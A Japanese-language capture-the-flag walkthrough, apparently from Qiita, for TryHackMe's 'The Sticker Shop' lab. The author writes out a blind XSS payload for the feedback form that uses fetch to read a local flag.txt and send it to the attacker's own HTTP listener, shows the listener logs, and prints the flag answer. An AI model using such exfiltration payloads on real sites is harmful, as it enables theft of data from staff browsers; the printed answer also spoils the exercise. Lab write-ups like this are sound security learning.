0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】The Sticker Shop:Walkthrough

Posted at

概要

TryHackMe「The Sticker Shop」のWalkthroughです。

Task1

Q1.What is the content of flag.txt?

Hint.Can you conduct any client-side exploitation in order to read the flag?

8080ポートのflag.txtにアクセスしてみると401が返ってきます。

image.png

ルートページにアクセスすると猫の画像が表示されます。

image.png

Feedbackページではテキストを送信できるようです。

image.png

XSSが出来るか試してみます。

<script src="ATTACKER_IP"></script>

ターゲットマシンからリクエストが飛んできたので<script></script>が動作しているようです。
Blind XSSが出来ると分かりました。

$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.111.225 - - [17/Dec/2024 21:01:44] "GET / HTTP/1.1" 200 -

ローカルのflag.txtを取得し、フラグをURIにして自身のマシンにアクセスさせます。

<script>fetch('http://127.0.0.1:8080/flag.txt').then(r => r.text()).then(t => fetch(`http://10.6.55.144:1234/${encodeURIComponent(t)}`));</script>

HTTPサーバーを立てて待ち受けていると、URLエンコードしたフラグを取得できました。

$ python -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.10.111.225 - - [17/Dec/2024 22:39:07] code 404, message File not found
10.10.111.225 - - [17/Dec/2024 22:39:07] "GET /THM%7B83789a69074f636f64a38879cfcabe8b62305ee6%7D HTTP/1.1" 404 -

URLデコードをしてフラグを閲覧出来ました。

image.png

A.THM{83789a69074f636f64a38879cfcabe8b62305ee6}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?